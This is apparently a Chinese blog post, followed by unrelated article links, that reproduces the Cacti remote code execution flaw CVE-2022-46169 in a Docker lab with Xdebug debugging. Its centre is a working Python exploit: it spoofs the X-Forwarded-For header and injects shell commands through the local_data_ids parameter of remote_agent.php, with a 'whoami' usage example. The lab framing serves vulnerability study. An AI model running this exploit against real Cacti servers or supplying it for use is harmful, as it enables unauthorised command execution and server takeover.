当前位置: 首页 > news >正文

Cacti RCE漏洞复现

一、环境准备
1. 创建Docker容器
首先,我们需要一个包含PHP 7.4和Cacti的Docker环境:

docker run -it --name cacti_vuln -p 80:80 -p 443:443 php:7.4-apache bash

2. 安装Xdebug

pecl install xdebug-3.1.6
docker-php-ext-enable xdebug

3. 配置Xdebug
编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini:

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log

4. 安装Cacti

apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22

5. 重启容器

exit
docker restart cacti_vuln

二、漏洞复现
1. 漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。

2. 漏洞利用步骤
1、访问Cacti安装页面完成安装

2、使用以下Python脚本进行漏洞利用:

import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])

3、执行命令示例:

python exploit.py http://localhost/cacti-1.2.22 "whoami"

三、VSCode调试配置
1. 安装PHP Debug扩展
在VSCode中安装PHP Debug扩展。

2. 配置launch.json

{"version": "0.2.0","configurations": [{"name": "Listen for Xdebug","type": "php","request": "launch","port": 9003,"pathMappings": {"/var/www/html": "${workspaceFolder}"},"log": true}]
}

在remote_agent.php中设置断点

 

 

 

 

 

 

 

 

http://www.dtcms.com/a/303246.html

相关文章:

  • Android Studio关于Connection refused: connect报错
  • “车位到车位”自动驾驶真相
  • pcm,msd调制解调仿真
  • WCF服务通信框架
  • 用友NC漏洞批量检测工具,支持POC显示、单一检测、批量检测、结果导出、AI交互等
  • Parasoft Virtualize用服务虚拟化加速银行系统的软件测试
  • Red Hat OpenShift AI 产品简介
  • XCF32PVOG48C Xilinx Platform Flash PROM
  • 神经网络CNN、RNN、Transform
  • 【实时Linux实战系列】在实时应用中进行负载均衡
  • Docker 部署 Supabase并连接
  • 【Linux】重生之从零开始学习运维之Mysql
  • 深度学习篇---层与层之间搭配
  • 基于Qlearning强化学习的水下无人航行器路径规划与避障系统matlab性能仿真
  • 免费离线翻译软件LibreTranslate免安装一键启动整合包下载
  • JavaScript 回调函数讲解_callback
  • LeetCode|Day28|67. 二进制求和|Python刷题笔记
  • 波形发生器AWG硬件设计方案
  • AW2013 LED驱动芯片 工作方式介绍
  • Java线程池详解:核心参数与工作原理
  • PBR(策略路由)
  • 力扣-39.组合总和
  • 一段英文自我介绍
  • Source Insight的快速使用
  • gpfs磁盘相关命令及使用
  • nvim编辑器
  • CLion运行多个main函数
  • MySQL存储过程(二):存储过程实例(增删改查)及调用
  • Web3技术解析:从网络架构到业务创新的范式的变革
  • mysql全量备份、全量恢复demo